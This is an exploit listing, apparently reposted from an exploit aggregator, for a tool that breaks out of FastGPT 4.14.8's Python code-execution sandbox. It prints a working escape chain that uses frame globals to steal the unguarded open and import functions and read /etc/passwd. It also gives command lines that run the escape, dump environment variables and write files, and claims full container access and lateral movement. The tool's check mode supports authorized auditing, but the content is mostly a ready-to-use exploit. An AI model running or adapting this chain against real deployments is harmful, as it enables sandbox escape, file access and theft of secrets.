Exploit for Incomplete List of Disallowed Inputs in Fastgpt

## https://sploitus.com/exploit?id=92E3CF1F-D720-56D6-AE86-134A824B8280
# fastgpt-sandbox-audit

FastGPT Python sandbox escape chain auditing tool. The “Code Execution” node of FastGPT workflows executes user Python code in an independent sandbox. The sandbox protection in version 4.14.8 is a pure Python-based mechanism (module blacklist, AST checks, open guard, import guard). This tool detects and verifies bypasses for these protections:

```python
import inspect                        # inspect is not on the _DANGEROUS_STDLIB blacklist
g = inspect.currentframe().f_back.f_globals   # AST checks do not block underscore frame properties
f = g['_original_open']('/etc/passwd')        # The module exposes _original_open globally
imp = g['_original_import']                   # The module exposes _original_import globally
```

## Applicable Versions

| Version | Architecture | Status |
|--------|--------------|---------|
| v4.14.7 | NestJS + Fastify + seccomp | CVE-2026-32128 (fcntl re-mapping stdout) |
| v4.14.8 | Bun + Hono + worker.py | Escape chain in this document; complete escape (accessing any file within the container, network lateral movement) |
| main | Go native chroot + seccomp | The Python layer was also bypassed; chroot is used as a fallback within the container |

## Usage

Pure standard library, Python 3.8+. ```bash
# Static check of the protection configuration in worker.py (no payload execution)
python3 fastgpt-sandbox-audit.py --check

# Execute the complete escape chain on the actual worker.py (reading /etc/passwd, writing files)
python3 fastgpt-sandbox-audit.py --exploit

# Export environment variables (first 20 keys)
python3 fastgpt-sandbox-audit.py --dump

# Specify the path to worker.py
python3 fastgpt-sandbox-audit.py --worker /path/to/worker.py --exploit
```

The `--exploit` option requires a real `worker.py` (the Python worker process in the FastGPT v4.14.8 sandbox). By default, it reads `./worker.py` from the current directory and submits the payload through its own stdin JSON protocol (`{"type":"init"}` → `{"type":"task","code":...)`. ## Detection Items

Output for the `--check` mode:

```json
=== fastgpt-sandbox-audit: Protection configuration check ===
[Risk] inspect is not on the _DANGEROUS_STDLIB blacklist -> Can be imported
[Risk] AST checks did not intercept the f_globals property
[Risk] The _original_open is exposed globally -> Can be stolen by f_globals
[Risk] The _original_import is exposed globally -> Can be stolen by f_globals
[Note] worker.py does not have seccomp (since 4.14.8: pure Python protection)
```

## Disclaimer

This tool is used solely for security research and authorized security testing purposes. Testing systems on others without permission may violate laws and regulations. Please take responsibility for your actions.